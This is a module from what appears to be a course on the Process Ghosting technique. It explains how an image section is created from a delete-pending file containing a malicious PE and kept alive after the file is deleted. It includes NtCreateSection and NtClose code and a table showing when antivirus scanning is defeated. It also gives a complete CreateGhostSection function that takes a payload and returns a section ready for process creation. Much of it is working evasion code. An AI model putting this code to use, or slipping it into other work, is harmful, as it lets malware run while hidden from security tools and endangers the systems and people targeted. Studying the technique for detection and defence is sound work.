Module 5: Section Mapping from Ghost
Creating an image section from the delete-pending file — the moment the ghost image becomes permanent in kernel memory.
Module Objective
Understand how NtCreateSection with SEC_IMAGE creates an image section from the delete-pending file handle, the kernel structures that are created (CONTROL_AREA, SUBSECTION), why the section persists after the file is deleted, and how to close the file handle to trigger the deletion while keeping the section alive.
1. Creating the Image Section
With the ghost file handle from Module 4 (delete-pending, containing the malicious PE), we now create an image section. This is the pivotal step — it captures the PE content into a kernel object that will outlive the file:
HANDLE hSection = NULL;
NTSTATUS status = NtCreateSection(
&hSection, // receives the section handle
SECTION_ALL_ACCESS, // full access to the section
NULL, // no object attributes
NULL, // MaximumSize (auto from PE headers)
PAGE_READONLY, // initial page protection
SEC_IMAGE, // IMAGE section type
hFile // the delete-pending file handle
);
Parameter Breakdown
| Parameter | Value | Significance |
|---|---|---|
SectionHandle | &hSection | Output: the section handle we will use for process creation |
DesiredAccess | SECTION_ALL_ACCESS | Full access including map, query, and extend rights |
MaximumSize | NULL | For SEC_IMAGE, the size is determined by the PE’s SizeOfImage field in the optional header |
SectionPageProtection | PAGE_READONLY | Base protection; individual pages get per-section protections from PE headers |
AllocationAttributes | SEC_IMAGE | Parse the file as a PE image, creating an IMAGE_SECTION_OBJECT |
FileHandle | hFile | The delete-pending file containing the malicious PE |
2. What Happens Inside the Kernel
When the kernel processes NtCreateSection with SEC_IMAGE, it performs the following operations internally:
Kernel Section Creation Steps
- PE Validation: The memory manager reads the MZ and PE headers from the file. It validates the magic numbers, machine type, number of sections, and alignment values.
- CONTROL_AREA Allocation: A
CONTROL_AREAstructure is allocated in kernel pool memory. This structure links the section to its backing file object and tracks reference counts. - SUBSECTION Chain: For each PE section (.text, .rdata, .data, etc.), a
SUBSECTIONstructure is created describing the virtual address range, file offset, size, and page protection. - SECTION_OBJECT Creation: The top-level section object is created and linked to the control area.
- File Object Reference: The
CONTROL_AREAtakes a reference to theFILE_OBJECT. This reference keeps the file object alive in kernel memory even after all user-mode handles are closed.
Kernel Object Relationships
User handle: hSection
Ref to FILE_OBJECT
Backing file (delete-pending)
3. SEC_IMAGE PE Parsing
The SEC_IMAGE flag triggers full PE parsing by the memory manager. The kernel reads the PE headers to determine how to map the image into virtual memory:
// What the kernel reads from the PE to create subsections:
// (conceptual representation)
// From IMAGE_NT_HEADERS:
// OptionalHeader.ImageBase -> preferred load address
// OptionalHeader.SizeOfImage -> total virtual size
// OptionalHeader.AddressOfEntryPoint -> EP RVA
// OptionalHeader.SectionAlignment -> virtual alignment
// OptionalHeader.FileAlignment -> file alignment
// From each IMAGE_SECTION_HEADER:
// VirtualAddress -> RVA of this section
// VirtualSize -> virtual size
// PointerToRawData -> file offset
// SizeOfRawData -> file size
// Characteristics -> permissions (R/W/X)
| PE Section | Typical Protection | Kernel Subsection |
|---|---|---|
.text | PAGE_EXECUTE_READ | Subsection with MM_EXECUTE_READ |
.rdata | PAGE_READONLY | Subsection with MM_READONLY |
.data | PAGE_READWRITE | Subsection with MM_READWRITE (copy-on-write) |
.rsrc | PAGE_READONLY | Subsection with MM_READONLY |
Image Section vs Data Section
A SEC_IMAGE section is fundamentally different from a SEC_COMMIT or SEC_RESERVE data section. The image section stores parsed PE metadata and maps each PE section individually with appropriate protections. A data section just maps raw bytes. Only image sections can be used with NtCreateProcessEx to create processes.
4. Why the Section Survives File Deletion
This is the core of Process Ghosting’s power. The section persists after the file is deleted because of reference counting in the kernel:
Reference Counting Chain
- The
SECTION_OBJECTholds a reference to theCONTROL_AREA - The
CONTROL_AREAholds a reference to theFILE_OBJECT - As long as any reference to the
CONTROL_AREAexists, theFILE_OBJECTstays alive - The
FILE_OBJECTkeeps the file data accessible even after the directory entry is removed
When we close the user-mode file handle (hFile), the file’s delete-pending state triggers removal of the directory entry and MFT deallocation. But the FILE_OBJECT in kernel memory is not destroyed because the section still references it through the CONTROL_AREA. The file data (PE content) remains accessible through the section’s page-in mechanism.
// After section creation, close the file handle
// This triggers the actual file deletion from disk
NtClose(hFile);
hFile = NULL;
// At this point:
// - File is DELETED from disk (no directory entry, MFT freed)
// - hSection is still valid
// - Section's CONTROL_AREA still references the FILE_OBJECT
// - PE content is still accessible through the section
// - NtCreateProcessEx can still use hSection
5. The CONTROL_AREA in Detail
The CONTROL_AREA is the key kernel structure that bridges files and sections. For an image section, its relevant fields include:
// Simplified CONTROL_AREA structure (Windows 10+)
typedef struct _CONTROL_AREA {
PFILE_OBJECT FilePointer; // backing file object
ULONG NumberOfSectionReferences; // section ref count
ULONG NumberOfPfnReferences; // page frame refs
ULONG NumberOfMappedViews; // mapped view count
ULONG NumberOfUserReferences; // user-mode refs
ULONG FlushInProgressCount;
ULONG_PTR Flags; // includes IMAGE flag
PSEGMENT Segment; // segment containing pages
PSUBSECTION FirstSubsection; // head of subsection list
// ... additional fields
} CONTROL_AREA, *PCONTROL_AREA;
The NumberOfSectionReferences field tracks how many section objects reference this control area. As long as it is greater than zero, the control area (and its file object pointer) stays alive. When we create a process from the section, the process’s virtual address space adds mapped view references, further keeping the control area alive.
6. Verifying the Section
Before proceeding to process creation, we can verify the section is valid by querying its basic information:
// Query section information to verify
SECTION_BASIC_INFORMATION sectionInfo = { 0 };
ULONG retLen = 0;
status = NtQuerySection(
hSection,
SectionBasicInformation,
§ionInfo,
sizeof(sectionInfo),
&retLen
);
if (NT_SUCCESS(status)) {
// sectionInfo.Size contains the image size
// sectionInfo.Attributes should include SEC_IMAGE
printf("Section size: 0x%llx\n", sectionInfo.Size.QuadPart);
printf("Attributes: 0x%x\n", sectionInfo.Attributes);
// Attributes & SEC_IMAGE should be non-zero
}
We can also query the image information to get the entry point and other PE metadata:
// Query section image information
SECTION_IMAGE_INFORMATION imageInfo = { 0 };
status = NtQuerySection(
hSection,
SectionImageInformation,
&imageInfo,
sizeof(imageInfo),
&retLen
);
if (NT_SUCCESS(status)) {
printf("Entry point: %p\n", imageInfo.TransferAddress);
printf("Stack reserve: 0x%llx\n",
imageInfo.MaximumStackSize);
printf("Image base: %p\n",
imageInfo.ImageBase);
// TransferAddress = ImageBase + AddressOfEntryPoint
}
SECTION_IMAGE_INFORMATION Key Fields
| Field | Type | Meaning |
|---|---|---|
TransferAddress | PVOID | Absolute address of the entry point (ImageBase + EP RVA) |
MaximumStackSize | ULONG | Stack reserve size from PE optional header |
CommittedStackSize | ULONG | Stack commit size from PE optional header |
SubSystemType | ULONG | GUI (2), Console (3), etc. |
ImageBase | PVOID | Preferred load address from PE optional header |
7. Timeline of Events
Here is the complete timeline from file creation through section persistence:
| Step | API Call | File on Disk | Section in Kernel | AV Can Scan? |
|---|---|---|---|---|
| 1 | NtCreateFile | Empty file exists | None | Yes, but file is empty |
| 2 | NtSetInformationFile | Delete-pending, empty | None | No (STATUS_DELETE_PENDING) |
| 3 | NtWriteFile | Delete-pending, has PE | None | No (STATUS_DELETE_PENDING) |
| 4 | NtCreateSection | Delete-pending, has PE | IMAGE section created | No (STATUS_DELETE_PENDING) |
| 5 | NtClose(hFile) | DELETED | Section persists | No (file gone) |
| 6 | NtCreateProcessEx | DELETED | Mapped into process | No (file gone) |
8. Combined Code: Ghost File + Section
// Complete: create ghost file and section
bool CreateGhostSection(
LPCWSTR ghostPath,
BYTE* payload, DWORD payloadSize,
HANDLE* phSection)
{
HANDLE hFile = NULL;
HANDLE hSection = NULL;
IO_STATUS_BLOCK iosb = { 0 };
NTSTATUS status;
// Phase 1: Create ghost file (Module 4)
status = CreateGhostFile(ghostPath,
payload, payloadSize, &hFile);
if (!NT_SUCCESS(status)) return false;
// Phase 2: Create image section from ghost
status = NtCreateSection(
&hSection,
SECTION_ALL_ACCESS,
NULL, NULL,
PAGE_READONLY,
SEC_IMAGE,
hFile);
// Close the file handle - triggers deletion
NtClose(hFile);
if (!NT_SUCCESS(status)) return false;
// Section is alive, file is dead
*phSection = hSection;
return true;
}
Knowledge Check
Q1: Why does the image section persist after the backing file is deleted from disk?
Q2: What kernel structure links a section object to its backing file?
Q3: What flag must be passed to NtCreateSection to have the kernel parse the file as a PE executable image?